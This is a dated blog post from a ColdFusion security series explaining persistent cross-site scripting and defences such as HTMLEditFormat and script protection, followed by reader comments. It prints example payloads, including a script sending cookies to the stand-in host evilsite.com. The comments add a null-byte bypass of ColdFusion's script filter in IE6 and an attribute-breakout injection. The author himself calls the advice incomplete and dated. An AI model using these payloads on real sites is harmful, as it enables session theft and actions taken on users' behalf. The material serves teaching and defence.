Persistent XSS Attacks and Countermeausures in ColdFusion - Security Series #8

NOTE: THis article is dated and contains an incomplete picture of XSS threats and countermeasures. The information is (mostly) accurate but, like I said, incomplete. I encourage you to use other resourses, like the OWASP XSS Page and cheat sheet to learn more about XSS. I plan to redo this section of my security series this spring (2010). Thanks. Jason 03/26/2010

Cross-site Scripting (XSS), to me, is one of those subjects that I feel like I am just barely keeping up with. I understand what it is, but It seems like every time I feel like I have a handle on the ways it can be done, I learn about something new. I am not going to claim to be the be-all-end-all authority on any security subject. It seems like there is always something new, but with XSS, it is especially so.

So, with this post, I am only presenting the information about XSS with which I am familiar. It is not intended to be the ultimate XSS guide. Think of it as in intro to some Cross-Site Scripting exploits and solutions. After reading this, I encourage you to research more on your own, as I will. As I learn more I will post about it.

So what is Cross-Site Scripting?

Cross-Site Scripting is a vulnerability, usually found is Web Applications, that uses client-side script code to attack other users of a site. It can be used to carry out phishing attacks, bypass access controls, and to exploit browser behavior in general.

XSS attacks, generally, use JavaScript or other client side scripts against websites that are vulnerable to being injected with malicious code.

Cross-Site Scripting (XSS) vulnerabilities comes in several flavors. Persistent, Non-Persistent and DOM-Based. Each is exploited differently, and each has different dangers associated with it. In this post I will be discussing Persistent (or Type 2) XSS Attacks/Vulnerabilities.

Persistent Cross-Site Scripting Attacks

I have most looked into Persistent (Type 2) XSS vulnerabilities and countermeasures, because (in my opinion) Type 2 XSS attacks are the most dangerous.

Persistent XSS is, as the name suggests, an attack that is implemented and then lasts until it is removed. It is generally deployed through the use of a web form, SQL Injection, or some other means of injecting a script into the content of a web applications for others to view, and subsequently execute.

A persistent exploit will, generally, be injected into the database or other data persistence means. Once it has been successfully injected into the database, it will be displayed to any end user who request that same information form the DB.

The most common example of persistent XSS exploits is in a Blog Entry or Forum where end users are able to add content to the web application for others to view. In a blog post that allows comments, any end user can type whatever they would like into the comment field and submit the data for insertion into the comments table of the database. So let's say our hacker adds some malicious code to into a comment.


<script type="text/javascript">

alert('p0wn3d!!');
</script>

Later, other users will come along and load that blog post, when they do, that comment with the malicious code will be loaded and the script inside will be executed. And they will get a JavaScript alert that says 'p0wn3d!!'.

Now, these seemingly harmless script would be nothing more than vandalism. But, in the eyes of your end users, even this little vandalism represents a huge security hole and you can bet that word would spread quickly that your site had been hacked.

So what else can hackers (or script kiddies) do with XSS?

That's the real question, isn't it? What can be done with XSS? Well, the easy answer is, that they can do anything that could normally be done with JavaScript or whatever other scripting language they have at their disposal in your users' browsers.

Examples of XSS in JavaScript:

Re-route the user to another URL:


<script type="text/javascript">

document.location='http://www.evilsite.com';
</script>

Send your cookies(including your session cookie) to another site:


<script type="text/javascript">

document.location='http://www.evilsite.com?' + document.cookie;
</script>

Perform an action on your users' behalf (Note: This example assumes that userid is stored in the cookie. A static value could also be passed to perform an action against a specific record):


<script type="text/javascript">

document.location='http://www.evilsite.com/deleteUser.cfm?' + document.cookie.replace(/; /g,'&');
</script>

So, basically, if a hacker understands how your application works, they can commit all sorts of evil against it. This is another great reason to always remember to use proper error handling. It can hinder the hacker in learning too much about your application.

How do we prevent these types of exploits?

One of the easiest ways to prevent persistent XSS attacks is by escaping any user generated content before it is displayed to any end user.

Escaping is th process of converting the characters in a string of text to their HTML Character Entity equivalent. This means that any >, <, &, etc symbols would be converted to &gt; &lt;, &amp;, etc. That way, when the end user who would be victimized views this code, they only receive the escaped code, which is harmless.

So this code:


<script type="text/javascript">

document.location='http://www.evilsite.com?' + document.cookie;
</script>

would become:


&lt;script type=&quot;text/javascript&quot;&gt;
document.location='http://www.evilsite.com?' + document.cookie;
&lt;/script&gt;

Which would not execute.

To escape the characters in your user generated content is quite easy. ColdFusion's HTMLEditFormat() function will do it for you.


<cfoutput>#HTMLEditFormat(qBlogComments.comment)#</cfoutput>

Pretty Simple. And Effective. However, in some cases it may be too effective. For example, if you want your end users to be able to use some HTML elements it would not work.


This is <strong>Bold Text</strong>
This is <em>Emphasized Text</em>

Would become:


This is &lt;strong&gt;Bold Text&lt;/strong&gt;
This is &lt;em&gt;Emphasized Text&lt;/em&gt;

And when displayed to the end user would look like:


This is <strong>Bold Text</strong> This is <em>Emphasized Text</em>

Instead of like:

This is Bold Text This is Emphasized Text

Enabling Global or Per-Application Script Protection

Another method for reducing XSS vulnerability is to enable script protection. This can be done globally in the ColdFusion Administrator, or on a per-application basis in Application.cfc.

Script Protection monitors the Form, URL, CGI, and Cookie scopes looking for potentionally threatening tags. The tags it looks for are: object, embed, script, applet, and meta. If it finds any of these tags, or any that resemble them, it will replace them with and InvalidTag tag.

So this:


<script type="text/javascript">

blah blah ...;
</script>

Will become:


<InvalidTag type="text/javascript">
blah blah ...;
</script>

And this:


<Object>

Blah blah... ;
</Object>

Will Become:


<InvalidTag>
Blah blah... ;
</Object>

To enable Global Script Protection:

  1. Go to you ColdFusion Administrator
  2. Go into the Server Settings section on the left
  3. Under "settings" you will find the check box "Enable Global Script Protection". Check it
  4. Click "Submit Changes"

This turns on Script Protection for All Scopes on All Applications on the server.

If you want to control script protection at the application level, or you do not have access to the ColdFusion Administrator, you can enable it in your Application.cfc by placing this line in the pseudo-constructor area:


<cfset this.scriptprotect="all">

This will enable script protection for only that application, but for all scopes. You can also place place a comma delimited list of scopes to protect, if for some reason you do not want to protect them all.

Script Protection, just like HTMLEditFormat(), can also be over-protective, because it will also find tags that are harmless but resemble the potentially dangerous tags. So if someone in your blog application wants to leave a comment about Transfer ORM config files and puts in the following code:


<ObjectDefinitions>

<package name="blah">
<blah blah blah />
</package>
</ObjectDefinitions>

They are gonna end up with:


<InvalidTagDefinitions>
<package name="blah">
<blah blah blah />
</package>
</ObjectDefinitions>

Conclusion

So while neither of these solutions is the perfect one, neither is difficult to implement. HTMLEditFormat() may be time-consuming to implement, but that's what interns and high school students are for. :)

Point of Discussion

There is additional point of discussion that seems to come up fairly often with HTMLEditFormat(), or similar functions in any language, that have the ability to change user input. The discussion point is: Should you alter the user input before you insert it into the database, or should you insert into the database as-is and then perform HTMLEditFormat() (or similar) only when you display the output?

My personal preference is for the latter. I have very specific reasons for this, that someday I will blog about, but I am interested in hearing what others think.

Comments
Andrea's Gravatar Do not rely on script protection. I enabled it for 10 minutes, the time it took to bypass the filter in IE, and removed it afterwards, falling back to the HTMLEditFormat solution.
Just try <%00script instead of <script to bypass the script protection filter at least in IE6 (I haven't bothered trying it on IE7).
PS - I'm sure you won't publish my email address, but would be even more confident if you told me so in the coment submission form...
# Posted By Andrea | 8/22/08 9:35 AM
Jason Dean's Gravatar @Andrea, I have tried several times with several browsers (IE6, IE7, FF) to get the <%00script trick you mentioned to get passed ColdFusion script protect, and none of them have successfully created an executable script. Sure, ColdFusion does not see it as a script block, so it does not create the <InvalidTag> but when viewed in a browser the script tag with the %00 in it does not execute. Even in IE6.

Can you elaborate on how to execute this exploit?
# Posted By Jason Dean | 8/22/08 1:48 PM
Andrea's Gravatar Jason,

Here is a non-persistent xss exploit with CFMX 7:

Save this as xss.cfm:
<cfapplication scriptprotect="all">
<cfoutput>#url.message#</cfoutput>

and call xss.cfm?message=<%00script>alert(document.cookie)</script> in IE. Works because IE (I tested IE6 only) ignores the %00 (Firefox doesn't).

This is were I found the problem with IE:
http://www.heise-online.co.uk/security/services/br...

I didn't try a persistent version of the same but I can't see why it shouldn't give the same result - unless you sanitize the payload elsewhere, of course.

Andrea

PS Interesting site and series by the way! I think I'll stick around for a while.
# Posted By Andrea | 8/23/08 6:23 AM
Andrea's Gravatar About the choice between sanitizing before writing to the DB or when reading from it, I would prefer the second, but I have just implemented this solution in a project of mine, which hopefully should grant me a reasonable peace of mind (not against all types of XSS attacks, but against many of them).

Add to Application.cfc:

<cffunction name="sanitizeRequest" access="private" output="false" returntype="void">
   <cfset sanitizeScope(form)>
   <cfset sanitizeScope(url)>
   <cfset checkScope(cgi)>
   <cfset sanitizeScope(cookie)>
</cffunction>

<cffunction name="sanitizeScope" access="private" output="false" returntype="void">
   <cfargument name="scope" type="struct" required="true">
   <cfset var key = "">
   <cfloop collection="#arguments.scope#" item="key">
      <cfset arguments.scope[key] = HTMLEditFormat(arguments.scope[key])>
   </cfloop>
</cffunction>

<cffunction name="checkScope" access="private" output="false" returntype="void">
   <cfargument name="scope" type="struct" required="true">
   <cfset var key = "">
   <cfset var temp = "">
   <cfloop collection="#arguments.scope#" item="key">
      <cfset temp = HTMLEditFormat(arguments.scope[key])>
      <cfif temp NEQ arguments.scope[key]>
         <cfthrow type="SUSPICIOUS INPUT" message="Invalid input" detail="Your message for user" extendedinfo="Invalid input for #key# (#temp#)">
      </cfif>
   </cfloop>
</cffunction>

Also, still inside Application.cfc, add this line to onRequestStart:
<cfset sanitizeRequest()>

Also make sure you deal with the SUSPICIOUS INPUT error (I do so inside cfapplication's onError).

Uploads are not protected by this solution, and neither are attacks that don't need tags:
- payload delivered directly inside a javascript;
- user-controllable input used as src attribute for an image tag, like javascript:alert(document.cookie);
- when the user may control or add a style attribute, like expression(alter(document.cookie)) in IE.

These last type of vulnerabilities are much less frequent, of course (file uploads, however, are quite common).
# Posted By Andrea | 8/23/08 7:12 AM
Jason Dean's Gravatar @Andrea - Thanks for clearing up how to implement the exploit your described. I see now what you are saying.

However, I don't see how a vulnerability in IE negates the value of Script Protection. Just because you can get around it in one browser does not mean that you should turn it off entirely. Additionally, the Null Byte exploit that you describe only affects scripts passed in the URL string, it does not affect scripts passed in the post header via a form. So having script protection enabled will still help stop many XSS exploits.

Don't get me wrong. I absolutely agree that one should not rely on script protection to solve all of there issues, I am simply arguing against your statement that because you were able to get around it that it is not worth using. There is no reason that it cannot be used along with the HTMLEditFormat() solution.

Also, to anyone that is ever doing anything like this in your code:

<cfoutput>#url.message#</cfoutput>

Naughty!
# Posted By Jason Dean | 8/23/08 5:06 PM
Andrea's Gravatar Jason,

the previous test was just a simple proof of concept for non-persistent attacks, to show how IE's flaw can be exploited. A persistent attack is only a little bit more complex to set up, but still very simple for an attacker:

Save the following as xsspost.cfm:

<cfparam name="form.message" default="">
<cfoutput>#form.message#</cfoutput>
<form action="htmlprotected.cfm" method="post">
   <input type="text" name="message" value="">
   <input type="submit" name="Submit" value="Submit">
</form>

You'll agree that the above describes - but for the little shortcut to bypass the store-to-DB, retrieve-from-DB part - a rather common practice, and no particularly naughty script.

Now call xsspost.cfm, paste the following text

<%00script>alert(document.cookie)</script>

in the text field, and hit submit.

All is well. Even in IE, no alert is fired. Let's try something different, though.

You have mentioned the Burp suite in another post, so I take it you have it installed. Set your browser's proxy settings to allow Burp Proxy to intercept traffic between it and your coldfusion server.

Now call xsspost.cfm again, same as before. After you hit submit switch to Burp proxy and look in the raw request he has intercepted waiting for you to examine it, and possibily tamper with it. Here's the line we are interested in:

message=%3C%2500script%3Ealert%28document.cookie%29%3C%2Fscript%3E&Submit=Submit

See the '%2500'? The browser simply escaped the percentage sign in '%00' before sending the request. All you need to do is to remove the 25, and forward the request.

If your browser is IE, the alert box will go off.

(To be continued)
# Posted By Andrea | 8/24/08 5:53 AM
Andrea's Gravatar (Continued)

The problem here is that you were relying on the browser to do the escaping, but this is in the hands of the attacker. In this example I've used Burp proxy, but an attacker could also have used a Firefox plugin to tamper with the request (of course this particular proof of concept wouldn't work because it is designed to immediately display the result, and we know that Firerfox won't ignore the null character). More likely yet, attackers tipically use scripts of their own rather than a browser and craft their requests without even having to go through the hassle of having to intercept them.

Having such a gap in the most common browser in the market is no small vulnerability. It means that a protection that is so trivial to bypass would impact the vast majority of your users. You may even argue that it is worse that not having it at all, because of the false sense of protection it may give you.

This is not the reason why I removed it, though. I did so simply because of scriptprotect's performance cost (mentioned in Coldfusion's reference documentation). Since the protection is far too weak, this cost is not justified, because I'll have to adopt other means anyway, which will make it superfluous. And if you are sure to HTMLEditFormat all potential user input - which you must, since the scriptprotect is unreliable - there is no longer a point in paying this performance cost at all.

That's why I'm implementing my solution above and removed the scriptProtect.

As a final word, of course I'm aware that this example is not really a persistent XSS example, since I'm not storing the payload in a DB and retrieving it afterwards, but it still proves the concept, and shows that scriptprotect only offers the weakest protection for the most typical action of a coldfusion application - accepting a form input and displaying it later. And because you must supplement it with something much more secure, you can spare yourself the additional performance hit.

Again, great job with this series.

Andrea
# Posted By Andrea | 8/24/08 5:55 AM
Andrea's Gravatar Oops. I forgot to include on top of xsspost.cfm the line

<cfapplication scriptprotect="all">

(in my own test, I had the scriptprotect setting applied in Application.cfc, but the line above simplifies the proof of concept by allowing you to have all you need in a single script.)

Also, I hope I'm not sounding over critical of your work in any way - quite the contrary, it is both excellent and much needed -, nor to show off as an expert. I'm not. I'm very much in the steep part of the learning curve of this stuff myself.

In fact, I'd very much like to know what you or your readers think of the sanitizeRequest approach I suggested earlier. Better learn of any problem with it from you than from a successful attack...
# Posted By Andrea | 8/24/08 7:19 AM
Jason Dean's Gravatar @Andrea - Thanx for the additional comments. I have reviewed everything you have sent, and based on what I have seen, none of the exploits you describe can be deployed against CF8. So that much is good news.

Now as you said, script protect carries with it a performance hit. As do most features that automate processes for us. Personally, I think this performance hit is worth it, and unless an server is under such a high load that they absolutely need to turn it off to get back those milliseconds per request, I would still advise against turning it off.

Also, the environment can play a part in this as well. If you are a lone developers, on a lone server, where you can be absolutely positive that ever page on every application you are running is properly using some of anti-XSS methods, then maybe you can safely turn of script protect. Personally, I do not work in such an environment. I work in an environment where we have dozens of developers both past and present, about whose work I need to worry. I cannot trust that HTMLEditFromat() has been used in all of the places that it should have been. Additionally, I cannot be sure that every piece of open source software does. In a perfect world, I could do a full security review of all of the software that we use, but...

So, please, I encourage everyone reading this. DO NOT turn off script protection unless you know exactly what you are doing AND that you know have a specific, valid reason for doing it. If nothing else. script protect will slow down the script kiddies and amateur hackers.

Even if you can't stop them all, stopping 99.9% is still better than nothing.
# Posted By Jason Dean | 8/24/08 10:04 PM
Jason Dean's Gravatar @Andrea, as you for check and sanitize functions. I definitely think that the would be effective against XSS attacks. I have thought about creating similar functions in the past, I just have an issue with sanitizing user input vs sanitizing user output. I prefer to sanitize data on the way out of the persistence layer instead of before it gets inserted. I prefer this for 2 reasons.

1. I do not want to mess with my users input. By running user input through HTMLEditFormat() it basically "destroys" what the submitted. Out of respect for my users, I do not wish to mess with the original data. They may have put a lot of work into it (as you have with the comments here) and if the HTMLEditFormat() messes that up, I would feel badly.

2. If your users are submitting input that they will be able to edit again later, you do not what to destroy that data. You may want to all them the use of <strong> or <em> in there input.

Now there are other ways around these things, like having them use Wiki-style mark up for styling instead of HTML. And that may be best. But for right now, I prefer to sanitize on the way out.
# Posted By Jason Dean | 8/24/08 10:15 PM
Michael Burk's Gravatar Quick question related to this topic. As far as urls in links and image tags. What else is there to fear besides <script>?
# Posted By Michael Burk | 7/25/09 6:54 PM
Jason Dean's Gravatar There is actually quite a lot to fear. Any place that you are inserting user generated code into the page display, you need to be concerned with XSS. Take this simple example. Let's say I want to persist a URL variable so that it gets sent along with a form POST, so I put it into a hidden field.

<input type="hidden" name="hiddenVar" value="#url.value#" />

Well, you would be right in thinking that even if you did inject a script block into that input field that it would not execute. So this would fail

domain.com/index.cfm?value=4<script>alert('pwnd')</alert>

But what if the hacker was clever, as they usually are, and they ended the input before the injection.

domain.com/index.cfm?value=4"/><script>alert('pwnd')</alert>

Now the alert would fire, because it is no longer in the <input> element.

Does that help answer your question?
# Posted By Jason Dean | 7/25/09 8:32 PM
Jason Dean's Gravatar @Michael,

oh yeah, and <script> is not the only tag to fear. Some other nasties are <iframe>, <img>, <object>, and just about anything that has a src attribute.
# Posted By Jason Dean | 7/25/09 8:35 PM
John Mason's Gravatar Just wanted to add that people could use also use Portcullis which is a ColdFusion component developed to prevent sql injection and cross-site scripting (xss) attacks. It’s already pretty widely used but didn’t see it referenced here. You can download it at http://portcullis.riaforge.org
# Posted By John Mason | 1/5/10 8:22 PM
Eliza Sahoo's Gravatar thanks. it was quite informative.
# Posted By Eliza Sahoo | 2/9/10 5:14 AM
Jason's Gravatar @Andrea,
I have tried to implement your approach as well as portcullis, but neither of these approaches handles the cgi very well.
I have a site that was scanned by a scanning company that uses the firefox plugin "User Agent"... They create a new agent and then in
User Agent field they type in ><script>alert(123)</script>.... What this is does it places this alert in the cgi.http_user_agent field... When
I try to scan or check this scope... I receive an ugly error "An exception occurred when invoking a event handler method from Application.cfc The method name is: onRequestStart."... you might say this is good, but when I have a valid request (without the alert)... the process still
errors out (not good).... the reason is that for instance I have cgi.query_string = page=cat&id=111....

The original is sent across as: page=cat&id=111
when using htmleditformat it comes across as : page=cat&amp;id=111

Has anyone encountered an issue like this and what did you do to resolve it....

Thanks in advance
# Posted By Jason | 3/2/10 5:42 PM
silmaril's Gravatar >Should you alter the user input before you insert it into the database, or should you insert into the database as-is and then perform HTMLEditFormat() (or similar) only when you display the output?

Personally i would go for the alter before storage, I think it's more easy and safe to identify the input points and alter the data there than having to scan for each display of each variable
# Posted By silmaril | 12/16/10 5:32 AM
BlogCFC was created by Raymond Camden. This blog is running version 5.9.1. Contact Blog Owner